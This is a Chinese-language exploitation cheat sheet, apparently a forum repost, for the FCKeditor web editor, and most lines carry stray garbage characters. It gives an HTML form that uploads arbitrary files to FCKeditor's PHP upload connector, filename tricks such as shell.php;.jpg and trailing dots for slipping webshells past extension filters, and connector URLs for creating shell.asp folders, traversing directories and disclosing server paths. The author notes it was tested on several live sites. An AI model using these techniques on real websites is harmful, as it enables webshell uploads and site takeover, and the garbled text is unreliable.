Fckeditor漏洞利用总结 8 T7 h; K& Y8 `6 z0 a
查看编辑器版本
0 u* ?' Q8 u; C5 eFCKeditor/_whatsnew.html
3 z9 A [# ]1 p( h1 h) w* x0 Q# y—————————————————————————————————————————————————————————————$ {; c0 w! M0 u; `# ]1 l, W1 a) W
+ ]1 k+ \3 I1 w8 J+ r2. Version 2.2 版本# v) O$ J3 c3 A5 \# _
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
9 F' e" B( P) T% y! A6 b+ H4 ^—————————————————————————————————————————————————————————————
) p" X2 C+ _1 u, Q" M0 y% h2 W
x. @8 t+ D3 U/ W. N3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。6 O( h* T( f6 O& u" o
<form id="frmUpload" enctype="multipart/form-data"
' I3 O+ G8 q) u, Eaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
8 z# ^0 s+ A! \) Q6 O/ X0 o, @. n<input type="file" name="NewFile" size="50"><br>
D1 v$ H5 r+ C6 K<input id="btnUpload" type="submit" value="Upload">+ N7 h# ]; E4 Q: ?' t" H
</form>
5 |. `4 K: g3 Q% `% _ r—————————————————————————————————————————————————————————————! Q I7 D+ H! R' [
4 b/ j6 n& [0 Y9 }& ^
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
9 f0 R6 U9 u: g3 k4 J1 ^ 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。1 N. g8 q( H: b/ |
4.1:提交shell.php+空格绕过
1 g) j* D2 Z% x2 Z4 \不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。 P; c. A* c* a% c) }( i. l5 f
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
1 F# Y! |& o& _( U" \+ ^6 L$ B—————————————————————————————————————————————————————————————2 k. n3 P+ s- Y( t
" ? L5 F6 G! ?5 s" Q5. 突破建立文件夹/ ~5 G6 l4 P7 G4 P( l' i; m @
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
5 [+ b: N$ w: U) Z" NFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
& C8 l# u# p5 o( u8 B+ P3 P5 Z; `—————————————————————————————————————————————————————————————
4 X. j4 |5 |4 c j9 \. k, _) b, p* ? j( d. G* A4 t
6. FCKeditor 中test 文件的上传地址5 j* `# h: u( ^$ v* s8 Q
FCKeditor/editor/filemanager/browser/default/connectors/test.html
v" r# k4 |: m' _: R5 T9 TFCKeditor/editor/filemanager/upload/test.html
+ S4 M4 E5 ~' O$ `4 CFCKeditor/editor/filemanager/connectors/test.html
. \) `& y, _" u+ m4 H" CFCKeditor/editor/filemanager/connectors/uploadtest.html
8 z5 j( o8 n0 g d—————————————————————————————————————————————————————————————
- G% O2 k$ z9 I# }! t. [) W6 r
; ~; B1 y) k* N% S/ d. `! H+ O7.常用上传地址% L$ w% T) Z8 C2 g3 I/ ]1 z& n# h
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
l8 P7 M0 J9 ~4 U n. a, s4 xFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
# S3 k* n2 V2 s1 b9 u5 h7 S! VFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
# t1 v, k2 i0 Z* ~JSP 版:
% z- w" ~$ e, {( X) ^8 l( L4 pFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp. n9 g2 d. x" V; {) S, x& Q1 M% c
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
8 V: s' U2 T1 }' d! m0 I. j! y# U件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。! q v8 I3 z# [3 b; j: a3 o
—————————————————————————————————————————————————————————————
/ s L& ^$ O$ `5 i' l) t. t! t4 G, N2 q# q
8.其他上传地址0 Q5 N6 q, H9 O* j' J3 Y' {
FCKeditor/_samples/default.html
7 Y; N7 _8 _# b/ H0 ~- H/ `( P& |FCKeditor/_samples/asp/sample01.asp; \( b% s, b) P3 E1 a$ z- j# k
FCKeditor/_samples/asp/sample02.asp: p; \6 ^2 m! ^/ `1 E y7 o
FCKeditor/_samples/asp/sample03.asp
* j) v% F0 J: q$ n! G2 mFCKeditor/_samples/asp/sample04.asp# G3 A/ \1 W+ t( K0 z( x9 V* u3 P
一般很多站点都已删除_samples 目录,可以试试。" Q6 t* `8 C; {/ Z1 p8 j9 T
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
7 d; Q8 }& e8 ~6 r8 ~—————————————————————————————————————————————————————————————
4 Y2 S% a% g; ~& M/ n( @
, f: C: ~6 z% k6 h8 q1 [" s9.列目录漏洞也可助找上传地址
$ B+ ^3 g+ P; R4 F9 D fVersion 2.4.1 测试通过
5 G5 T) o3 B/ q* K9 X/ t修改CurrentFolder 参数使用 ../../来进入不同的目录
0 ]7 ]% ]7 d1 @/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp0 {4 J2 \' M4 T, g I
根据返回的XML 信息可以查看网站所有的目录。
& E+ v1 {( P( j: lFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
9 O6 z& r' D" S- @* h也可以直接浏览盘符:
9 A7 [( l1 G/ k: p6 F+ X! f, rJSP 版本:
% q( f% Z1 L# v1 _FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
& t2 \* O% T! p—————————————————————————————————————————————————————————————
: B! ~6 S2 w/ N
' M1 {5 I5 |; _( Z$ b4 P+ T10.爆路径漏洞4 b" B L2 b4 x4 y- C
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
h/ e+ z- Q" S—————————————————————————————————————————————————————————————
) z4 q- b# L. a# y; }1 b( E5 m# ^! b) X: W0 C
11. FCKeditor 被动限制策略所导致的过滤不严问题
B$ p& |4 S1 f2 m 影响版本: FCKeditor x.x <= FCKeditor v2.4.3$ _) g l* x/ s- y
脆弱描述:5 S9 }- j( e4 W; Z
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:" Y/ f% q4 R5 W l* B3 ]: H
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm$ I9 |+ o9 c2 w, R
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
* w0 c: ^* ~* A7 ^! P 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。. z* B, y' C/ V% G; ~; S
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
: M6 x, d3 D7 E+ Z% N( l—————————————————————————————————————————————————————————————; e" i& N0 G, y
6 q' A* l5 k1 Q3 o& E/ |. W12.最古老的漏洞,Type文件没有限制!
, R4 V' s# [3 p) m0 r 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 7 e7 ~" H" G* x% x$ ~, Z
—————————————————————————————————————————————————————————————5 P+ d" e- Z$ @) a [
. c. c* g/ k6 l
===============================================================================================================================================9 D0 d' f4 w0 p6 j3 r9 D; s
- `$ }2 q( L9 r9 fFCK编辑器jsp版本漏洞:
- b0 A% p5 B& O0 t: G
( D& }3 B Q& K$ m* l- n0 H6 z' j7 `/ Q. E; @3 o- ?: ]9 n; i
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F) [' I1 |) A4 M" {; P8 M
* Q) q: {; z: R# \! }上传马所在目录( k% v$ R, `: r: D0 ^2 F/ ]
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/! z1 m$ G: l8 l% o( R
上传shell的地址:
9 b+ k" w9 x! ]+ e- r" w/ Ohttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector( S5 D5 v5 e" ^6 ]
跟版本有关系.并不是百分百成功. 测试成功几个站.
$ R0 r& H7 Y$ F8 y不能通杀.很遗憾.5 z8 ?) x, U4 k9 m. k- t
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
, O B& q4 _% t6 A; t9 A& r2 ]& X如果以上地址不行可以试试/ b" q) I1 p* k2 X& L& g$ g
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
h7 W: |3 s) I$ M# i, s8 xFCKeditor/_samples/
- ]# a e2 y0 ]5 B# S) Y: Y0 A1 IFCKeditor/_samples/default.html
/ c# U- z5 Y2 }, V9 d7 [" h6 cFCKeditor/editor/fckeditor.htm
5 k% x6 l- _+ e5 F: J. K5 W' p/ rFCKeditor/editor/fckdialog.html! \) j5 Q! o( i0 _# y
6 |7 K5 x- }& a( F3 R
& g B$ S7 x% o* _0 W) P& A6 g( H" [
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
j3 A9 f M O# ^& e G, N; a |